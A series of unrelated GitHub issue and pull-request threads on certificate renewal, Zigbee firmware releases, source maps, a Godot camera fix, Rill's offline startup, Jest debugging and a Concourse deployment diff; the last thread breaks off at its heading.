> -------------------------------------------------------------------------------
> Cert is due for renewal, auto-renewing...
> Plugins selected: Authenticator standalone, Installer None
> Attempting to renew cert (***mydomain***) from /data/letsencrypt/renewal/***mydomain***.conf produced an unexpected error: HTTPSConnectionPool(host='acme-v01.api.letsencrypt.org', port=443): Max retries exceeded with url: /directory (Caused by NewConnectionError('<urllib3.connection.VerifiedHTTPSConnection object at 0x7fb848c97490>: Failed to establish a new connection: [Errno -3] Try again',)). Skipping.
> All renewal attempts failed. The following certs could not be renewed:
>   /data/letsencrypt/live/***mydomain***/fullchain.pem (failure)
> 1 renew failure(s), 0 parse failure(s)
>
> -------------------------------------------------------------------------------
>
> All renewal attempts failed. The following certs could not be renewed:
>   /data/letsencrypt/live/***mydomain***/fullchain.pem (failure)
> -------------------------------------------------------------------------------

Is there a easy way to add the option --dns <IP_ADDRESS> (or any other dns server) to the command line of this addon?

Your solution worked like a charm!
Thank you!
`starting version 3.2.4
Saving debug log to /var/log/letsencrypt/letsencrypt.log

Processing /data/letsencrypt/renewal/mydomain.conf
Cert is due for renewal, auto-renewing...
Plugins selected: Authenticator standalone, Installer None
Renewing an existing certificate
Performing the following challenges:
http-01 challenge for mydomain
Waiting for verification...
Cleaning up challenges

new certificate deployed without reload, fullchain is
/data/letsencrypt/live/mydomain/fullchain.pem

Congratulations, all renewals succeeded. The following certs have been renewed:
/data/letsencrypt/live/mydomain/fullchain.pem (success)
-------------------------------------------------------------------------------`


add "verify_ssl" param

The option verify_ssl=False has been added for test runs or runs within local env

Done


add support for multithreading to speed up execution time

This PR contains the code to enable multiprocessing in the most computationally expensive parts of molSim, the molecule-by-molecule comparisons.
There is a new configuration option included in the input config file: n_workers. If this is set to a number greater than 1, that number of processes will be created. For 1 process, the original serial implementation of the code is used.
Imminent update: the code is well documented but refers to the processes as threads. I will be refactoring soon.
Other small updates:

typo in readme
minor changes in UI component positioning and module importing due to new structure
example PDF generated from sulfonamide data

Added open config button to allow the user to edit automatically generated configuration files and an enable multiple workers checkbox to make multiprocessing accessible from UI.


[REQUEST] EmberZNet 6.8 (6.8 / 6.8.x / 6.8.x.x) NCP application firmware for Elelabs products

@NilsBohr OK to request or suggest that Elelabs release an EmberZNet 6.8 NCP application firmware as an optional download?
Silicon Labs EmberZNet SDK version 6.8.x / 6.8.x.x was released this summer so it is new but not quite cutting-edge any more.
I believe that <IP_ADDRESS> or <IP_ADDRESS> or is currently the latest version of EmberZNet NCP application for Zigbee firmware?
Update! EmberZNet SDK <IP_ADDRESS> GA (General Availability) is officially available to the public since October 14, 2020.
https://www.silabs.com/documents/public/release-notes/emberznet-release-notes-<IP_ADDRESS>.pdf
Please note that release notes say that EmberZNet PRO stack v6.8 requires the latest Simplicity Studio 5 (SSv5) which is new.
Might be nice for developers and users to have the option to upgrade to the latest and greatest firmware available from SiLabs ;)
https://www.silabs.com/documents/public/release-notes/emberznet-release-notes-<IP_ADDRESS>.pdf
https://www.silabs.com/documents/public/quick-start-guides/qsg106-efr32-zigbee-pro.pdf
Major new Zigbee feature in EmberZNet 6.8 and later is support for concurrent multiple PANs (multi-PAN) on one coordinator:
https://www.silabs.com/documents/public/application-notes/an724-multi-network.pdf
There is also support for "Dynamic Multiprotocol Development with Bluetooth and Zigbee" which might not be as interesting.
https://www.silabs.com/documents/public/application-notes/an1133-dynamic-multiprotocol-bluetooth-zigbee.pdf
Keywords: Elelabs USB Shield SiLabs Ember ZNet EmberZNet 6.8 Zigbee Stack EFR32 EFR32MG EFR32MG1 EFR32MG2 EZSP API

@Hedda
Thanks for the proposal.
Yes, we will release a firmware update for SDK 6.8.
In terms of the dates: Most probably, the beginning of October.

@NilsBohr Awesome! Great that you are willing to release almost cutting edge firmware as an option for users willing to try it out!

FYI, I see that is unofficial (and untested?) EmberZNet <IP_ADDRESS> based firmware for Elelabs ELU013 here by the bellows / zigpy devs:
https://github.com/zha-ng/EZSP-Firmware/tree/master/Elelabs-ELU013
"Upload EmberZNet <IP_ADDRESS> based firmware on 23 Aug"

Any news on this?

Any news on this?

No official release yet I think but can get unofficial EZSP v8 firmware releases for Elelabs ELU013 and ELR023 adapters here:
https://github.com/zha-ng/EZSP-Firmware/tree/master/Elelabs-ELU013
I know that is the version that that zigpy's bellows developers are testing (together with ZHA integration in Home Assistant).

@NilsBohr Please consider adding an official Elelabs firmware image based on the new EmberZNet <IP_ADDRESS> (bug-fix) v8 version:
https://www.silabs.com/documents/public/release-notes/emberznet-release-notes-<IP_ADDRESS>.pdf
As mention there looks to be unofficial releases available here:
https://github.com/zha-ng/EZSP-Firmware/tree/master/Elelabs-ELU013

@NilsBohr Gut updated news on newer EmberZNet 6.8.x.x firmware (EmberZNet <IP_ADDRESS> or later) for any Elelabs adapters?
FYI, sprut666666 who makes DEFARO SprutStick Pro which is based on EFR32MG12 reported that he generally found that the new EmberZNet <IP_ADDRESS> firmware for their adapter to be significantly more stable than latest 6.7.x.x firmware in general but that they were having some issues with some devices using the ZLL (Zigbee Light Link) profile protocol, see https://github.com/zigpy/bellows/issues/242
Thus it might be a good idea to call the first release of EmberZNet 6.8.x.x firmware as "beta" until got it properly tested by users.

FYI, Silicon Labs has now also released Zigbee EmberZNet <IP_ADDRESS> SDK as well:
https://www.silabs.com/documents/public/release-notes/emberznet-release-notes-<IP_ADDRESS>.pdf
Note! EmberZNet <IP_ADDRESS> removes support for EM35x devices based devices.

FYI, there are unofficial Silabs EmberZNet NCP <IP_ADDRESS> and <IP_ADDRESS> firmware images for Elelabs-ELU013 available here:
https://github.com/zha-ng/EZSP-Firmware/tree/master/Elelabs-ELU013
Try at your own risk.

@NilsBohr  Please consider releasing Silabs EmberZNet 6.9.1 and/or 6.9.2 firmware for Elelabs adapters.
Zigbee EmberZNet <IP_ADDRESS> was released on 27th of January 2021 has been available for a while and as such been regression tested:
https://www.silabs.com/documents/public/release-notes/emberznet-release-notes-<IP_ADDRESS>.pdf
However, Zigbee EmberZNet <IP_ADDRESS> was just released a week ago on 7th April of 2021 as a new bug-fix release for that release:
https://www.silabs.com/documents/public/release-notes/emberznet-release-notes-<IP_ADDRESS>.pdf
FYI, looks like the community is just now starting to release and recommend Silicon Labs Zigbee EmberZNet 6.9.1 NCP firmware.
As per example:
Adminiuga has added NCP v<IP_ADDRESS> FW images for Elelabs ELU013 and ELR023 (EFR32MG13 based)
https://github.com/zha-ng/EZSP-Firmware/tree/master/Elelabs-ELU013
Adminiuga also has added NCP v<IP_ADDRESS> FW images for EByte-E180-Z120B (EFR32MG12 based)
https://github.com/zha-ng/EZSP-Firmware/tree/master/Elelabs-ELU013
tube0013 has as well added NCP v<IP_ADDRESS> FW images for his Tube Zigbee Gateways based on EFR32MG21 and EFR32MG12:
https://github.com/tube0013/tube_gateways/tree/main/tube_zb_gw_efr32/Firmware/ZigBee Module/Series_2
https://github.com/tube0013/tube_gateways/tree/main/tube_zb_gw_efr32/Firmware/ZigBee Module/Pro

@NilsBohr any plans for releasing newer Silabs EmberZNet NCP firmware that has been tested with Elelabs/Popp adapters?
https://github.com/zha-ng/EZSP-Firmware/tree/master/Elelabs-ELU013
FYI, Zigbee EmberZNet <IP_ADDRESS> was just released on the 16th June of 2021 and newer EmberZNet 6.10 updates since then:
https://www.silabs.com/documents/public/release-notes/emberznet-release-notes-<IP_ADDRESS>.pdf
EmberZNet <IP_ADDRESS> was released on the 8th of September of 2021
https://www.silabs.com/documents/public/release-notes/emberznet-release-notes-<IP_ADDRESS>.pdf
EmberZNet <IP_ADDRESS> was released on the 21st June of 2021
https://www.silabs.com/documents/public/release-notes/emberznet-release-notes-<IP_ADDRESS>.pdf
EmberZNet <IP_ADDRESS> was released on the 13th October of 2021
https://www.silabs.com/documents/public/release-notes/emberznet-release-notes-<IP_ADDRESS>.pdf

@Hedda
Actually the 6.10 firmware update is ready.
Will upload this week.
Plus we are very excited to add Thread support.
You will be able to change firmware to Thread and back to Zigbee using our utility

@Hedda
We have pushed the new version of the utility with firmware upgrade to Zigbee 6.10 and/or Thread 1.20.

Awesome news! Thanks!

@NilsBohr Can you please clarify in the changelog and if the new zb 6.10 firmware image is v<IP_ADDRESS> or other 6.10.3.x release?
https://github.com/Elelabs/elelabs-zigbee-ezsp-utility/blob/master/data/EFR32MG13/ELE_MG13_zb_ncp_115200_610_211112.gbl
https://github.com/Elelabs/elelabs-zigbee-ezsp-utility/commit/721019cb542b273159372357a30251330e7c8d51
https://github.com/Elelabs/elelabs-zigbee-ezsp-utility/commit/31f8e9c09d612734edbe41619240162fe595ecc5

@NilsBohr Can you clarify in changelog and the file-name if the new zb 6.10 firmware image is v<IP_ADDRESS> or other 6.10.3.x release?
https://github.com/Elelabs/elelabs-zigbee-ezsp-utility/blob/master/data/EFR32MG13/ELE_MG13_zb_ncp_115200_610_211112.gbl
https://github.com/Elelabs/elelabs-zigbee-ezsp-utility/commit/721019cb542b273159372357a30251330e7c8d51
https://github.com/Elelabs/elelabs-zigbee-ezsp-utility/commit/31f8e9c09d612734edbe41619240162fe595ecc5
Awesome news regardless! Thanks!

@NilsBohr Can you clarify in changelog and the file-name if the new zb 6.10 firmware image is v<IP_ADDRESS> or other 6.10.x.x release?
https://github.com/Elelabs/elelabs-zigbee-ezsp-utility/blob/master/data/EFR32MG13/ELE_MG13_zb_ncp_115200_610_211112.gbl
https://github.com/Elelabs/elelabs-zigbee-ezsp-utility/commit/721019cb542b273159372357a30251330e7c8d51
https://github.com/Elelabs/elelabs-zigbee-ezsp-utility/commit/31f8e9c09d612734edbe41619240162fe595ecc5
Awesome news regardless! Thanks!


Review handling the case of empty filters_list

mt_metadata/mt_metadata/timeseries/filters/channel_response_filter.py
currently does:
_validate_filters_list()
with the following logic:
if filters_list in [[], None]:
return None
Because so many things that operate on filters_list assume an iterable, the code will probably be more readable if we use  an empty list rather than None.  That said, the filters list will practically almost never be None, but it could if a user had calibrated time series data.

I made the change and tested successfully with aurora driver.  Also modified complex_response so that no filters returns an array of 1's for a calibration function.


Source maps are incorrect

Just cloned the latest version of the repo, disabled css modules in config/index.js on line 33. And this is what I see: http://take.ms/P1cdl
In my case I have lots of .scss files in the project and it's absolutely insane to works without source maps.

Incorrect in what way? I don't see any issues. The only oddity I see is that the source maps don't dig further into the normalization package, but I don't know if there's anything else that can be done in that regard. Everything else seems to be functioning exactly as intended. See:

Edit: just see that you said you disabled CSS modules. Let me try that and see if I get any issues.

This is weird, it doesn't work for me. Just checked out the repo again to make sure everything is in the original form:
git checkout git@github.com:davezuko/react-redux-starter-kit.git
cd /react-redux-starter-kit
npm i
npm run start

And here is what I see:

@web2style a fresh checkout will have CSS modules enabled, so that <h1> style coming from normalize.css isn't being understood properly by the source mapping (I pointed this issue out in my initial reply). However, if you try a try tag that is from anywhere other than that library (such as the <img /> tag) you should see that the style properly points to HomeView.scss.
It would be nice to figure out why the source maps don't worry super well with packages imported with sass, but that aside source maps do seems to be working correctly for all styles in the project. I will investigate it further, though.

There is an issue with css modules disabled. Here is how you can reproduce it:

Set compiler_css_modules to false. Then remove composes: counter; from Counter.scss line 6 as it throws an error in this case.
Change className={classes.duck} to className="duck" in HomeView.js in order for the class to apply without css modules.
And finally add some styles before .duck in HomeView.scss. And this is what happens:

As you see it points to a wrong line. In my case I have lots of imported .scss files so this
inconsistencies enlarge and source maps point to completely wrong files.

Ah ok, so it's pointing to the wrong line number... I hesitate to say it's related to this project since there really isn't a whole lot going on as far as compiling styles, but I will take a look.


Camera jitter

First of all thank you for this project, it saves a lot of work for fast prototyping. I have identified an issue and have a simple fix for it:
Reproduction:
Move close to an object and move around it in circles while compensating with the mouse to look at the object. For instance, run circles around a tree while looking at said tree.
Result:
The camera is incredibly jittery. This happens at all times actually, it's just more noticeable in this scenario
Fix:
The fix is actually super simple, I will do a PR but here's the explanation:
First create a variable to store mouse input
var mouseInput : Vector2 = Vector2(0,0)

Then replace the _unhandled_input function with this:
func _unhandled_input(event):
	if event is InputEventMouseMotion and Input.mouse_mode == Input.MOUSE_MODE_CAPTURED:
		mouseInput.x += event.relative.x
		mouseInput.y += event.relative.y

We're accumulating the input data to consume it when we want to, not immediately which would be outside the physics loop. We consume it in a function like this:
func handle_rotation():
	HEAD.rotation_degrees.y -= mouseInput.x * mouse_sensitivity
	HEAD.rotation_degrees.x -= mouseInput.y * mouse_sensitivity
	mouseInput = Vector2(0,0)

Lastly, call this function somewhere within _physics_process. This all assures that we don't rotate and move the camera out of step, which causes jitter. I am no Godot expert but I have a decade + of game dev experience and this is an extremely common issue which is why I immediately knew how to mitigate it

Yeah, this makes sense. All physical changes need to be made in _physics_process. I know that now, but I didn't know that at the time. I'll test this with a controller.


Update ReadlineNotify documentation

In version 0.2.0, the interface for ReadlineNotify changed from return values and exceptions to promises, but the documentation wasn't updated.

Thanks!


Route's path as regexp - fail proptypes validation

Version
5.1.2
Test Case
I've use a regexp to set the path of a Route.
<Route path={/\/(?!login)/} render={() => <Header />} />

Actual Behavior
The code works as expected, and the <Header /> component is rendered everywhere, but in the login route; anyway I got this warning:
Warning: Failed prop type: Invalid prop `path` supplied to `Route`.
    in Route (created by AppRoot)
    in AppRoot

It seems due to Route's propTypes.
Accordingly to its propTypes, Route's path should be a string, or an array of string. Any reason why it should not allow regexp (given that it seems to support it).

We cache based in the string value, so a regex would break that. Also, we use the path-to-regexp library, so that would be redundant anyways.


6.0 Feedback:  Software update alert toggle prevents user from being able to update

Overview
The Software Update Alerts toggle does now prevent the alert, I believe fixing #10576
However if toggled off, the user is blocked from updating.
https://user-images.githubusercontent.com/502770/176728861-5724fe69-49db-49d5-89dc-ecbd093dacc4.mp4

Closed by #10968

Verified fixed


Add troubleshooting bullet point related to filters applied to the tile when pinned.

I have had many users come to me complaining that their "tiles are not updating".  After some investigation, it appears that they are updating but the values shown in the tile on the dashboard do not match what is displayed in the visual on the report.
Under the "Considerations and troubleshooting" section of this page, there is a bullet point that discusses changes to the visualization type not affecting the tile.  There is no mention of changes to visual/page/report level filters not affecting the information displayed in the tile.  I think this is an important point that should be clearly noted.
Some more clear wording for exactly what happens when you pin a tile could help here as well.  As far as I can tell "snapshot" is the keyword here.  It's creating a snapshot of the visual definition and the filter context.

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 0228b032-19fa-c869-8bd5-f3b5af3b492e
Version Independent ID: 9c8d0c4b-01bc-a0b3-08df-ba6d76a0c185
Content: Dashboard tiles in Power BI service for business users - Power BI
Content Source: powerbi-docs/consumer/end-user-tiles.md
Service: powerbi
Sub-service: pbi-explore
GitHub Login: @mihart
Microsoft Alias: mihart

Thanks for your comment. The first paragraph of the article states that it's a snapshot, and a screenshot:
A tile is a snapshot of your data, pinned to a dashboard by a designer. Designers can create tiles from a report, dataset, dashboard, the Power BI Q&A question box, Excel, SQL Server Reporting Services (SSRS), and more. This screenshot shows many different tiles pinned to a dashboard.


Allow for Swapping Out of Primary Template

I have slightly different markup needs and instead of forking the whole repo It would be nice to be able to just swap out the template.  I know you have different leaf template but I need to be able to change the entire markup.

What are you needs specifically that can't be addressed with the templating that's provided? Note that the templates apply to each node in the tree not just leaf nodes.

I really need a html version of node.label that would bind to ng-bind-html,
so that on a per node basis I can have some basic html formatting specific
to the date in each node.
On Fri, Feb 26, 2016 at 7:04 PM Justin Russell<EMAIL_ADDRESS>wrote:

What are you needs specifically that can't be addressed with the
templating that's provided? Note that the templates apply to each node in
the tree not just leaf nodes.
—
Reply to this email directly or view it on GitHub
https://github.com/iVantage/angular-ivh-treeview/issues/108#issuecomment-189543929
.

Here's a demo with custom html in templates and node labels themselves:
http://jsbin.com/bogoyu/2/edit?js,output
Does that help?

That does thank you.  If you want to reply to
http://stackoverflow.com/questions/35664106/custom-label-in-angular-ivh-treeview-that-allows-for-html
with
that I will give you credit for the answer.
On Fri, Feb 26, 2016 at 7:50 PM Justin Russell<EMAIL_ADDRESS>wrote:

Here's a demo with custom html in templates and node labels themselves:
http://jsbin.com/bogoyu/2/edit?js,output
Does that help?
—
Reply to this email directly or view it on GitHub
https://github.com/iVantage/angular-ivh-treeview/issues/108#issuecomment-189552079
.

Sure thing - glad to help.


Multiple authors below each other

Would it be possible to display multiple authors in the title page below each other and not coma-separated?

Yes, that should be quite easy. You have to replace this line
{\Large \textsf{\MakeUppercase{$for(author)$$author$$sep$, $endfor$}}

by that line
{\Large \textsf{$for(author)$$author$$sep$\\ $endfor$}

Yes, that worked, thank you very much!


Update rockraft file of frontend for CKF 1.8

What needs to get done
Update the corresponding rockcraft.yaml file to make sure the version of CKF 1.8 is built.
DoD:

The rockcraft.yaml is updated
There is automation that builds the image in each PR
There is automation that pushes the image, once a PR is merged

Why it needs to get done
To make sure we have less CVEs in 1.8 than upstream, and enable us to be able to potentially create patches for package versions in the future

Should we reduce the scope here to just updating the rock?  unless I misunderstand, the automation is covered by #49

Closing since we updated the rockraft.yaml file


Not able to create paper with normal user

Hi I am not able to create paper with normal user. Also once i land to Create Page I cannot go back to home page to login as auditor

Sorry to hear the demo isn't working for you.  Are you saying that the logout button in the top right of the UI doesn't work for you?  How are you running this demo?  Did you use the deploy to Bluemix button, or are you running it locally?
Have you tried redeploying the demo and trying again?  If so, then we should start looking for errors in your browser's console.  Open up the developer tools for your browser and go to Console.  Do any errors appear in the log?  I'll need a little more information before I can help.

Hi
Thanks for your quick response. Actually I downloaded the code and made changes to mycredis.json and then manually deployed it to Bluemix using cf command line tool.
I dont know what mistake I am doing. Sometimes I face issue registering the users. After restarting the app it starts working.But main issue is once I login it lands to the home page but doesn't show as logged in. So I can never logout and go back to main page.
Also I tried creating page as normal user but it doesnt work.
Dont know what I am doing wrong.

Thanks

Have you made any other changes to the code?  I've noticed that you have of fork of cp-web on your github account.  I don't see any commits on that code yet, but perhaps something was changed locally?  My next test would be this:

Pull a fresh copy of the code on your machine.
Update your mycreds.json file with your service credentials.
Run npm install from the project directory.
Run gulp. This will start the demo on your local machine, which should allow you to see the logs for the application.

Do any errors appear in the logs?

Hi
I just tried cloning it afresh and it worked. Thanks for your input.
I have one doubt what should I do at Auditor sceen? I try to filter the tickets but it doesnt list.
Thanks

Ha!  Seems you found a bug, @aasthakhatri .  I've pushed a fix that resolves the issue.  See: https://github.com/IBM-Blockchain/cp-web/commit/b16d735085727bfb94d7316ce479ba495832d268

Any further problems?

Hi,
Your fix works! I was able to filter the trades now in user as well as auditor screens.
I have some doubt when i tried to pull and synchronize the repo it didnt work. But when I cloned it afresh it worked. why is that?
Also I am exploring how to develop chaincode example just like cp-web or marbles. Could you provide me some documentation or guidance on how to go ahead with that.
Thanks !

Glad to hear the fix worked!  Did you run git status before and after trying to pull my update?  My first guess would be that some sort of local change was causing problems.  We have a pretty good tutorial that shows you how to develop chaincode here.  I'd also recommend forking the marbles or cp-web projects and trying to adapt them into your own blockchain app, if that's what you want to do.


Typedoc integration

This PR integrates our Typedoc SDK docs into our docusaurus documentation using the plugin docusaurus-plugin-typedoc. The major changes are:

A new "SDK" section on the sidebar to house all the typedoc documentation
Updates to the typedoc configurations to hide all the private members
Some re-ordering/re-naming of existing sidebar elements to create a more logical flow

Coverage remained the same at 95.148% when pulling 119eb41aaeb344b3fea28fab560f29d7f4cde6b0 on rahul-typedoc-integration into d46bea8f1783420818309b0f6f2f0f69c574c5fb on main.


Rill requires public internet access during boot

Describe the bug
You cannot start Rill in a work environment without access to the public internet (which is common when working with corporate, sensitive data). That's because Rill tries to install several DuckDB extensions at startup:
https://github.com/rilldata/rill/blob/f4978e78a23ad1c2812053d63cbc907f5128153e/runtime/drivers/duckdb/duckdb.go#L405-L418
To Reproduce
Steps to reproduce the behavior:

Disable internet access on your machine
Start Rill
Try to export a model as parquet

You will get the following error:
IO Error: Failed to download extension "json" at URL "http://nightly-extensions.duckdb.org/v0.9.2/linux_amd64/json.duckdb_extension.gz"
Extension "json" is an existing extension.
 (ERROR Connection)

Expected behavior
I would expect that Rill ships all necessary extensions as part of its binary, instead of installing them during the boot. If that's not possible I would expect that Rill allows me to specify a custom extension repository.
Desktop (please complete the following information):

OS: Linux
Browser: Edge
Version v0.37.2

Hello @janjagusch, the DuckDB INSTALL commands should be no-ops if the extensions are already available on your system, so two possible workarounds for you are:

Install the DuckDB CLI and use it to run the INSTALLs while pointing it to a custom extension repository that you have access to.
Do your first run of Rill with access to the public internet. After the first run, the extensions will be installed and Rill should work without internet access.

Hey @janjagusch, pending environment variable support from the DuckDB side, another option for you is that we already support injecting custom boot queries using a CLI flag, like this:
rill start my-project --env connector.duckdb.boot_queries="SET custom_extension_repository='path/to/extensions'"

Currently, we run those queries after the extensions are installed, but we'd be happy to move them up to run before extension installation, so that you can use it to override the extension repository.
Let me know if that would help, then I'll make the change (would then be available in the next nightly, and next week's release).

Great, made the change in this PR, which should make it into tomorrow's nightly (you can download it with rill upgrade --nightly) :)


Debug Jest tests either in Browser or with VSCode?

Is there any way to debug jest tests. I have found some resources online which have some vscode launch config to debug javascript based jest tests. But It would be really nice if we could debug angular+typescript tests wither in browser or vscode?

That would be really cool! I think there is a Chrome plugin that helps to achieve this? I haven't looked into this before, but may give it a shot sometime. Let us know if you figure it out.

@patrickmichalina been struggling since yesterday, but not getting anywhere. :)
Just an idea but I was thinking if there is an executable like ts-node which runs typescript jest tests, then we can try setting that as program in launch.json of vscode. Don't want to compile all the typescript jest tests and debug through sourcemaps since that will be very slow every time we make a change. Having said that haven't got anything working yet. :(

@asadsahi I got this working in another repo
https://github.com/patrickmichalina/fusing-angular/commit/e7d5f671e761b2c17c9f73570330baffed24d018

@patrickmichalina I had similar config trying to somehow get breakpoint hit in VS code but still no luck. I tried following your config. Here is what my config and result looks like:

Have you managed to hit breakpoints in typescript files from VS code? Is there anything else I am missing.
Note: The only difference I have is the jest configuration in your case in a json file (which I am ommiting), but in my case it is in package.json.

@asadsahi I was able to hit breakpoints in vscode (and inspect variable, etc). Worked great. Not sure why its not working on your end :(

@patrickmichalina really wanted to see this in action in your repo, but getting this error while trying to npm install:

The GYP errors typically occur in windows environments when compiling binaries. I’d recommend you get this fixed since other packages may cause this issue for you as well.
There is a guide online on how to fix this.

@asadsahi to get through this GYP errors you need to install windows build tools:
npm install --global --production windows-build-tools


Fixed Typo: Changed 'the the' to 'the'

Closes Issue #17000

Pre-Submission Checklist

[x] Your pull request targets the staging branch of freeCodeCamp.
[x] Branch starts with either fix/, feature/, or translate/ (e.g. fix/signin-issue)
[x] You have only one commit (if not, squash them into one commit).
[x] All new and existing tests pass the command npm test. Use git commit --amend to amend any fixes.

Type of Change

[x] Small bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds new functionality)
[ ] Breaking change (fix or feature that would change existing functionality)
[ ] Add new translation (feature adding new translations)

Checklist:

[x] Tested changes locally.
[x] Addressed currently open issue (replace XXXXX with an issue no in next line)

Closes #17000
Description

Fixed the typo in the Basic Html and Html5 Json. Repeated word typo

Will close #17000

Thanks @realgio95 :+1:


OSX:  Store button does not prompt browser (Firefox/Chrome/Safari)

Left Nav,
Sign in as a 'free' account, not premium (shop button not available on premium)
Select shop button.
Should open the system's default browser,
Nothing is prompted.
OS X 10.11.3

You you show me a screenshot, I have all access so can't see what button you are on about

@MightyPork Do you have this button (sorry for the ping but you seem active enough) or @chrismou?

I'm all access too.  Just tried to log in with another email address, and it wants a credit card to "confirm your country of residence"  :-/

OK did it anyway.  Confirmed - click the Shop button and nothing happens.
Is there any info I can give you to fix this easily?  Class name of the button, etc?

Any info about what the button actually does / is supposed to do.
From the sounds of it, it is trying to call window.open or maybe its a link with a target of _blank.  Whatever it is I need to know so I can fake the situation and then come up with a fix involving shell.openExternal :+1:

This is the entire block:
<a id="shop-nav" data-type="shop" class="nav-item-container tooltip" href="">
  <iron-icon icon="shop" alt="" class="x-scope iron-icon-1">
    <svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" class="style-scope iron-icon" style="pointer-events: none; display: block; width: 100%; height: 100%;">
      <g class="style-scope iron-icon">
        <path d="M16 6V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H2v13c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6h-6zm-6-2h4v2h-4V4zM9 18V9l7.5 4L9 18z" class="style-scope iron-icon"></path>
      </g>
    </svg>
  </iron-icon>
  Shop
  <iron-icon icon="open-in-new" class="x-scope iron-icon-1">
    <svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" class="style-scope iron-icon" style="pointer-events: none; display: block; width: 100%; height: 100%;">
      <g class="style-scope iron-icon">
        <path d="M19 19H5V5h7V3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z" class="style-scope iron-icon"></path>
      </g>
    </svg>
  </iron-icon>
</a>

Opens https://play.google.com/store/music?feature=music_general in a new window

@chrismou I can't test this so can you try adding this code to line 46 of GPMInject/interface/customUI.js
const shopButton = document.querySelector('[data-type="shop"]');
  if (shopButton) {
    shopButton.addEventListener('click', (e) => {
      remote.shell.openExternal('https://play.google.com/store/music?feature=music_general');
      e.preventDefault();
      return false;
    });
  }

you'll also need an import { remote } from 'electron'; at the top

Since I pulled from master and rebuild, it's throwing this error in a popup, so can't start the player
App threw an error when running { [Error: ENOENT: no such file or directory, rename '/Users/xxx/Library/Preferences/GPMDP_STORE/.settings.json' -> '/Users/xxx/Library/Application Support/Google Play Music Desktop Player/json_store/.settings.json']
  errno: -2,
  code: 'ENOENT',
  syscall: 'rename',
  path: '/Users/xxx/Library/Preferences/GPMDP_STORE/.settings.json',
  dest: '/Users/xxx/Library/Application Support/Google Play Music Desktop Player/json_store/.settings.json' }

Lol wut... Hand on. Let me start my mac up

I've reverted back a couple of commits, I'll test this thing you sent over while you're looking into that :wink:

OK, that bug was fixed.  My bad, I was trying to move an old file into a new folder without creating the folder first :+1:
#rookiemistake

OK, that fix didn't work - but I've noticed that there's no Desktop Settings menu option either, which I think you're setting straight after.  So whatever it's waiting for isn't being triggered on the free account version?

Before you dive into that, it may have been the commit I was on. Loads more stuff was broken. Have pulled from upstream and it all works again now.  I'll try out that fix again!

@MarshallOfSound Woohoo, it works.  Got there in the end :+1:

Sweet as, can you PR that fix in and I'll just merge it.  Just want to be sure that there wasn't a code change caused in translation :+1:
Best way to make sure it works is to PR the working version :smile: :laughing:

Done :smiley:
#408

And merged

And closed

@MarshallOfSound sorry I wasn't at home, but got all access too so I wouldn't have been off any help  anyway


Compressor CACHE not publicly available on S3

What happened?
Using Django compressor with AWS on S3 will cache outputs and send them to S3. Unfortunately, if you have CORS setup, the CACHE directory is still sending back 403 errors. If you go directly to the static directory of your S3, there's no problem.
What should've happened instead?
The public new files should be publicly available. I believe this COULD help but I haven't tested it out yet: https://django-compressor.readthedocs.io/en/latest/remote-storages/
Steps to reproduce

Start a new cookiecutter-django project.
Enable django compressor
If you'd like, enable compress in a different HTML file with a different static file.

I could only fix it by making each file public.

Ah I see. It's probably because COMPRESS_STORAGE is not equal to STATICFILES_STORAGE which is what the compressor documentation asks for https://django-compressor.readthedocs.io/en/latest/remote-storages/#using-staticfiles

I also noticed something similar. Pull request welcome!


[#118552679] Made TSA template compatible with bosh-init

What
Use of the link() method and spec.address is now conditional to enable compatibility with bosh-init. Tested using bosh-init v0.0.87.
This is based on Concourse v1.1.0. This will be merged in branch gds_1.1.0_bosh_init_fix of our fork so we can use it in our build. We will then raise a similar PR against upstream master.
How to review

Build deployer concourse using paas-cf branch keep/118552679_concourse_update and bosh-init image keep_118552679_concourse_update
You can use the test release:
https://github.com/alphagov/paas-concourse/releases/download/1.1.0-gds/concourse-1.1.0.dev.3.tgz
(sha1 843abb16b4d9b7709a881931d3fd40f0cad1ff9e)
It should build successfully and the pipeline should run without any issue.

Who can review
Anyone but @HenryTK or myself.

I used this diff in paas-cf
diff --git a/concourse/pipelines/create-bosh-cloudfoundry.yml b/concourse/pipelines/create-bosh-cloudfoundry.yml
index 2bdcc09..710f06e 100644
--- a/concourse/pipelines/create-bosh-cloudfoundry.yml
+++ b/concourse/pipelines/create-bosh-cloudfoundry.yml
@@ -637,7 +637,7 @@ jobs:
       - task: bosh-init-microbosh
         config:
           platform: linux
-          image: docker:///governmentpaas/bosh-init
+          image: "docker:///governmentpaas/bosh-init#keep_118552679_concourse_update"
           inputs:
             - name: bosh-manifest
             - name: bosh-init-state
diff --git a/concourse/pipelines/create-deployer.yml b/concourse/pipelines/create-deployer.yml
index cc891d0..cd46bc2 100644
--- a/concourse/pipelines/create-deployer.yml
+++ b/concourse/pipelines/create-deployer.yml
@@ -497,7 +497,7 @@ jobs:
     - task: concourse-deploy
       timeout: 30m
       config:
-        image: docker:///governmentpaas/bosh-init
+        image: "docker:///governmentpaas/bosh-init#keep_118552679_concourse_update"
         inputs:
         - name: concourse-manifest
         - name: concourse-bosh-state
diff --git a/manifests/concourse-manifest/concourse-base.yml b/manifests/concourse-manifest/concourse-base.yml
index 97adb91..78f026f 100644
--- a/manifests/concourse-manifest/concourse-base.yml
+++ b/manifests/concourse-manifest/concourse-base.yml
@@ -3,8 +3,8 @@ name: concourse

 releases:
   - name: concourse
-    url: https://bosh.io/d/github.com/concourse/concourse?v=0.74.0
-    sha1: c99ef709e9d4468ac25cca31dd5be1444417011d
+    url: https://github.com/alphagov/paas-concourse/releases/download/1.1.0-gds/concourse-1.1.0.dev.3.tgz
+    sha1: 843abb16b4d9b7709a881931d3fd40f0cad1ff9e
   - name: garden-linux
     url: https://bosh.io/d/github.com/cloudfoundry-incubator/garden-linux-release?v=0.334.0
     sha1: 85170c5089fa4ff317f139c2f1da024860dbea85

It deploys great! :+1:


kubernetes-network-no-public-egress/ingress prone to misfiring

Describe the bug
